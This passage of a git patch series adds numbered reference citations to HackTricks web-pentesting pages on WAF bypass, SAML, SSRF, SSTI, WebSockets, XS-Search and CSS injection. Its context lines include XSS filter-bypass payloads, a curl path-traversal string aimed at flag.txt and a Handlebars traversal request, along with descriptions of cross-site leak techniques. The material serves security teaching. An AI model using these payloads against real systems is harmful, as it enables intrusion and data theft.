changes in width.<sup>[[17]](#references)</sup> The process involves several steps: @@ -319,7 +319,7 @@ The technique described involves extracting text from a node by exploiting font ### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> -**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html) +**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)<sup>[[18]](#references)</sup> This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). The charset used in a text node can be leaked **using the default fonts** installed in the browser: no external -or custom- fonts are needed.<sup>[[18]](#references)[[19]](#references)</sup> @@ -778,13 +778,13 @@ div::-webkit-scrollbar:vertical { ### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> -**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) +**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)<sup>[[20]](#references)</sup> This case is very similar to the previous one, however, in this case the goal of making specific **chars bigger than other is to hide something** like a button to not be pressed by the bot or a image that won't be loaded. So we could measure the action (or lack of the action) and know if a specific char is present inside the text.<sup>[[20]](#references)</sup> ### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> -**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) +**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)<sup>[[20]](#references)</sup> In this case, we could try to leak if a char is in the text by loading a fake font from the same origin:<sup>[[20]](#references)</sup> @@ -802,7 +802,7 @@ However, if the time difference of the cached response from the non-cached one i ### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> -**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) +**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)<sup>[[20]](#references)</sup> In this case you can indicate **CSS to load hundreds of fake fonts** from the same origin when a match occurs. This way you can **measure the time** it takes and find out if a char appears or not with something like:<sup>[[20]](#references)</sup> From 44c838d6f96443233b6e71d2d8253c7862eb2b01 Mon Sep 17 00:00:00 2001 From: Carlos Polop <carlospolop@gmail.com> Date: Thu, 6 Aug 2026 13:25:13 +0200 Subject: [PATCH 5/7] References: add entries for content sources cited only inline Sources the prose draws on (writeups, advisories, research posts) now have a numbered References entry and the line that uses them cites it. Tool, download and product links are left inline. --- .../proxy-waf-protections-bypass.md | 4 +- src/pentesting-web/saml-attacks/README.md | 3 +- .../README.md | 9 +- .../README.md | 9 +- src/pentesting-web/websocket-attacks.md | 3 +- src/pentesting-web/xs-search.md | 157 ++++++++++++------ .../xs-search/css-injection/README.md | 3 +- 7 files changed, 128 insertions(+), 60 deletions(-) diff --git a/src/pentesting-web/proxy-waf-protections-bypass.md b/src/pentesting-web/proxy-waf-protections-bypass.md index ec63660cf0b..3478bded101 100644 --- a/src/pentesting-web/proxy-waf-protections-bypass.md +++ b/src/pentesting-web/proxy-waf-protections-bypass.md @@ -250,7 +250,7 @@ h2c-smuggling.md ### Regex Bypasses -Different techniques can be used to bypass the regex filters on the firewalls. Examples include alternating case, adding line breaks, and encoding payloads. Resources for the various bypasses can be found at [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) and [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). The examples below were pulled from [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).<sup>[[9]](#references)</sup> +Different techniques can be used to bypass the regex filters on the firewalls. Examples include alternating case, adding line breaks, and encoding payloads. Resources for the various bypasses can be found at [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) and [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). The examples below were pulled from [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).<sup>[[9]](#references)[[11]](#references)[[12]](#references)</sup> ```bash <sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag @@ -289,5 +289,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri - [8] [Turning a Harmless XSS Behind a WAF into a Realistic Phishing Vector](https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/) - [9] [5 Ways I Bypassed Your Web Application Firewall (WAF)](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) - [10] [#NahamCon2024: Modern WAF Bypass Techniques on Large Attack Surfaces](https://www.youtube.com/watch?v=0OMmWtU2Y_g) +- [11] [swisskyrepo/PayloadsAllTheThings - PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) +- [12] [cheatsheetseries.owasp.org - OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/saml-attacks/README.md b/src/pentesting-web/saml-attacks/README.md index 2a69226ae4c..d7cde92ccad 100644 --- a/src/pentesting-web/saml-attacks/README.md +++ b/src/pentesting-web/saml-attacks/README.md @@ -170,7 +170,7 @@ SAML Responses are **deflated and base64 encoded XML documents** and can be susc You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XXE vulnerabilities and SAML vulnerabilities. -Check also this talk: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI) +Check also this talk: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)<sup>[[15]](#references)</sup> ## XSLT via SAML @@ -496,5 +496,6 @@ The same parser weakness that gives an overread can also crash the SAML processi - [12] [watchTowr-vs-Netscaler-CVE-2026-8451](https://github.com/watchtowrlabs/watchTowr-vs-Netscaler-CVE-2026-8451) - [13] [Pwn2Own Ireland 2025: Bypassing Authentication via Synology DS925+ SAML SSO](https://chanzep.github.io/posts/pwn2own-ireland-2025-bypassing-authentication-via-synology-ds925-saml-sso) - [14] [How to test SAML: a methodology (part one)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) +- [15] [youtube.com - Watch](https://www.youtube.com/watch?v=WHn-6xHL7mI) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/README.md b/src/pentesting-web/ssrf-server-side-request-forgery/README.md index 95ad67d24b9..462b25b08fa 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/README.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/README.md @@ -32,7 +32,7 @@ url-format-bypass.md ### Bypass via open redirect If the server is correctly protected you could **bypass all the restrictions by exploiting an Open Redirect inside the web page**. Because the webpage will allow **SSRF to the same domain** and probably will **follow redirects**, you can exploit the **Open Redirect to make the server to access internal any resource**.\ -Read more here: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf) +Read more here: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)<sup>[[14]](#references)</sup> ## Protocols @@ -58,7 +58,7 @@ From https://twitter.com/har1sec/status/1182255952055164929 ``` - **Curl URL globbing - WAF bypass** - - If the SSRF is executed by **curl**, curl has a feature called [**URL globbing**](https://everything.curl.dev/cmdline/globbing) that could be useful to bypass WAFs. For example in this [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) you can find this example for a **path traversal via `file` protocol**:<sup>[[13]](#references)</sup> + - If the SSRF is executed by **curl**, curl has a feature called [**URL globbing**](https://everything.curl.dev/cmdline/globbing) that could be useful to bypass WAFs. For example in this [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) you can find this example for a **path traversal via `file` protocol**:<sup>[[13]](#references)[[15]](#references)</sup> ``` file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt} @@ -363,7 +363,7 @@ Attack: Note that during this attack, if you want to attack localhost:11211 (_memcache_) you need to make the victim establish the initial connection with www.attacker.com:11211 (the **port must always be the same**).\ To **perform this attack you can use the tool**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ -For **more information** take a look to the talk where this attack is explained: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference) +For **more information** take a look to the talk where this attack is explained: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)<sup>[[16]](#references)</sup> ## Blind SSRF @@ -538,5 +538,8 @@ https://github.com/incredibleindishell/SSRF_Vulnerable_Lab - [11] [CFITSIO FITS File Access Routines (`fits_open_diskfile`, `fits_open_datafile`) - HEASARC](https://heasarc.gsfc.nasa.gov/docs/software/fitsio/c/c_user/node35.html) - [12] [Novel SSRF Technique Involving HTTP Redirect Loops - Assetnote Security Research Center](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/) - [13] [SECCON CTF 2022 Quals - easylfi writeup](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) +- [14] [PortSwigger - Web Security - Ssrf](https://portswigger.net/web-security/ssrf) +- [15] [everything.curl.dev - URL globbing](https://everything.curl.dev/cmdline/globbing) +- [16] [youtube.com - Watch](https://www.youtube.com/watch?v=qGpAJxfADjo) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md index 4975b724040..bc2e76ee5e9 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/README.md +++ b/src/pentesting-web/ssti-server-side-template-injection/README.md @@ -41,7 +41,7 @@ Identifying the template engine involves analyzing error messages or manually te <figure><img src="../../images/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure> -- More info in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) +- More info in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)<sup>[[7]](#references)</sup> ## Tools @@ -435,7 +435,7 @@ el-expression-language.md ### Groovy (Java) -The following Security Manager bypasses were taken from this [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/). +The following Security Manager bypasses were taken from this [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/).<sup>[[8]](#references)</sup> ```java //Basic Payload @@ -713,7 +713,7 @@ echo $t->finish($t->parse('OUT', 'authors')); ### Handlebars (NodeJS) -Path Traversal (more info [here](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)). +Path Traversal (more info [here](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).<sup>[[9]](#references)</sup> ```bash curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/' @@ -1168,5 +1168,8 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt - [4] [PortSwigger Web Security Academy - Server-side template injection](https://portswigger.net/web-security/server-side-template-injection) - [5] [0xdf – HTB: Editor (XWiki SolrSearch Groovy RCE → Netdata ndsudo privesc)](https://0xdf.gitlab.io/2025/12/06/htb-editor.html) - [6] [XWiki advisory – `SolrSearch` RSS Groovy RCE (GHSA-rr6p-3pfg-562j / CVE-2025-24893)](https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rr6p-3pfg-562j) +- [7] [@0xAwali - Template Engines Injection 101](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) +- [8] [security.humanativaspa.it - Groovy Template Engine Exploitation Notes From A Real Case Scenario](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario) +- [9] [blog.shoebpatel.com - The Secret Parameter LFR And Potential RCE In NodeJS Apps](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md index f907fcdd13b..613f2d3f4d1 100644 --- a/src/pentesting-web/websocket-attacks.md +++ b/src/pentesting-web/websocket-attacks.md @@ -122,7 +122,7 @@ For AMQP brokers (RabbitMQ, etc.): ## Websocket Lab -In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) you have a code to launch a web using websockets and in [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) you can find an explanation. +In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) you have a code to launch a web using websockets and in [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) you can find an explanation.<sup>[[22]](#references)</sup> ## Websocket Fuzzing @@ -493,5 +493,6 @@ h2c-smuggling.md - [19] [rapid7-CVE-2026-15409 PoC](https://github.com/remmons-r7/rapid7-CVE-2026-15409) - [20] [Cross-Site WebSocket Hijacking (CSWSH)](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) - [21] [Fuzzing WebSockets with Backslash Powered Scanner](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner) +- [22] [security.humanativaspa.it - Extending Burp Suite For Fun And Profit The Montoya Way Part 3](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xs-search.md b/src/pentesting-web/xs-search.md index 7e99bbe9b5d..1f193f7cb37 100644 --- a/src/pentesting-web/xs-search.md +++ b/src/pentesting-web/xs-search.md @@ -57,7 +57,7 @@ Some of the following techniques are going to use timing to as part of the proce **Clocks**: The [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API allows developers to get high-resolution timing measurements.\ There are a considerable number of APIs attackers can abuse to create implicit clocks: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animations, and others.\ -For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/). +For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).<sup>[[6]](#references)</sup> ## Event Handler Techniques @@ -65,7 +65,7 @@ For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https:// - **Inclusion Methods**: Frames, HTML Elements - **Detectable Difference**: Status Code -- **More info**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/) +- **More info**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)<sup>[[7]](#references)[[8]](#references)</sup> - **Summary**: if trying to load a resource onerror/onload events are triggered with the resource is loaded successfully/unsuccessfully it's possible to figure out the status code. - **Code example**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>) @@ -90,7 +90,7 @@ In this case if `example.com/404` is not found `attacker.com/?error` will be loa - **Inclusion Methods**: HTML Elements - **Detectable Difference**: Timing (generally due to Page Content, Status Code) -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) +- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)<sup>[[9]](#references)</sup> - **Summary:** The [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** can be used to measure how much time it takes to perform a request. However, other clocks could be used, such as [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) which can identify tasks running for more than 50ms. - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) another example in: @@ -112,7 +112,7 @@ xs-search/performance.now-+-force-heavy-task.md - **Inclusion Methods**: Frames - **Detectable Difference**: Timing (generally due to Page Content, Status Code) -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) +- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)<sup>[[10]](#references)</sup> - **Summary:** The [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) can be used to measure how much time it takes to perform a request. Other clocks could be used. - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) @@ -122,7 +122,7 @@ The time taken to fetch a resource can be measured by utilizing the [`unload`](h - **Inclusion Methods**: Frames - **Detectable Difference**: Timing (generally due to Page Content, Status Code) -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) +- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)<sup>[[11]](#references)</sup> - **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API can be used to measure how much time it takes to perform a request. Other clocks could be used. - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) @@ -171,7 +171,7 @@ xs-search/javascript-execution-xs-leak.md - **Inclusion Methods**: HTML Elements - **Detectable Difference**: Status Code & Headers -- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/) +- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)<sup>[[12]](#references)</sup> - **Summary**: **Cross-Origin Read Blocking (CORB)** is a security measure that prevents web pages from loading certain sensitive cross-origin resources to protect against attacks like **Spectre**. However, attackers can exploit its protective behavior. When a response subject to **CORB** returns a _**CORB protected**_ `Content-Type` with `nosniff` and a `2xx` status code, **CORB** strips the response's body and headers. Attackers observing this can infer the combination of the **status code** (indicating success or error) and the `Content-Type` (denoting whether it's protected by **CORB**), leading to potential information leakage. - **Code Example:** @@ -181,7 +181,7 @@ Check the more information link for more information about the attack. - **Inclusion Methods**: Frames - **Detectable Difference**: Page Content -- **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/) +- **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)<sup>[[13]](#references)[[14]](#references)</sup> - **Summary**: Leak sensitive data from the id or name attribute. - **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet) @@ -192,7 +192,7 @@ You can perform the same attack with **`portal`** tags. - **Inclusion Methods**: Frames, Pop-ups - **Detectable Difference**: API Usage -- **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/) +- **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)<sup>[[15]](#references)</sup> - **Summary**: Gather sensitive information from a postMessage or use the presence of postMessages as an oracle to know the status of the user in the page - **Code Example**: `Any code listening for all postMessages.` @@ -228,7 +228,7 @@ Because **only one request payment can be active** at the same time, if the targ - **Inclusion Methods**: - **Detectable Difference**: Timing (generally due to Page Content, Status Code) -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop) +- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)<sup>[[16]](#references)</sup> - **Summary:** Measure execution time of a web abusing the single-threaded JS event loop. - **Code Example**: @@ -246,7 +246,7 @@ JavaScript operates on a [single-threaded event loop](https://developer.mozilla. - **Inclusion Methods**: - **Detectable Difference**: Timing (generally due to Page Content, Status Code) -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop) +- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)<sup>[[17]](#references)</sup> - **Summary:** One method to measure the execution time of a web operation involves intentionally blocking the event loop of a thread and then timing **how long it takes for the event loop to become available again**. By inserting a blocking operation (such as a long computation or a synchronous API call) into the event loop, and monitoring the time it takes for subsequent code to begin execution, one can infer the duration of the tasks that were executing in the event loop during the blocking period. This technique leverages the single-threaded nature of JavaScript's event loop, where tasks are executed sequentially, and can provide insights into the performance or behavior of other operations sharing the same thread. - **Code Example**: @@ -259,7 +259,7 @@ A significant advantage of the technique of measuring execution time by locking - **Inclusion Methods**: JavaScript Requests - **Detectable Difference**: Timing (generally due to Page Content, Status Code) -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/) +- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)<sup>[[18]](#references)</sup> - **Summary:** An attacker could lock all the sockets except 1, load the target web and at the same time load another page, the time until the last page is starting to load is the time the target page took to load. - **Code Example**: @@ -346,7 +346,7 @@ In Security Assertions (SA), the XSS Auditor, originally intended to prevent Cro - **Inclusion Methods**: Frames - **Detectable Difference**: Header -- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)<sup>[[1]](#references)</sup> +- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)<sup>[[1]](#references)[[19]](#references)[[20]](#references)</sup> - **Summary:** Resource with X-Frame-Options header does not create resource timing entry. - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak) @@ -397,7 +397,7 @@ In some cases, the **nextHopProtocol entry** can be used as a leak technique. In - **Inclusion Methods**: Frames - **Detectable Difference**: API Usage -- **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/) +- **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)<sup>[[21]](#references)</sup> - **Summary:** Detect if a service worker is registered for a specific origin. - **Code Example**: @@ -410,7 +410,7 @@ This could also be done with a Timing attack (check the paper for more info). - **Inclusion Methods**: Fetch API - **Detectable Difference**: Timing -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources) +- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)<sup>[[22]](#references)</sup> - **Summary:** It is possible to check if a resource was stored in the cache. - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>) @@ -420,7 +420,7 @@ Using the [Performance API](xs-search.md#performance-api) it's possible to check - **Inclusion Methods**: Fetch API - **Detectable Difference**: Page Content -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration) +- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)<sup>[[23]](#references)</sup> - **Summary:** It is possible to retrieve the network duration of a request from the `performance` API. - **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration) @@ -430,7 +430,7 @@ Using the [Performance API](xs-search.md#performance-api) it's possible to check - **Inclusion Methods**: HTML Elements (Video, Audio) - **Detectable Difference**: Status Code -- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265) +- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)<sup>[[24]](#references)</sup> - **Summary:** In Firefox is possible to accurately leak a cross-origin request’s status code. - **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output) @@ -508,7 +508,7 @@ An attacker can exploit **verbose error messages** to deduce the size of cross-o - **Inclusion Methods**: Pop-ups - **Detectable Difference**: Status Code -- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects) +- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), 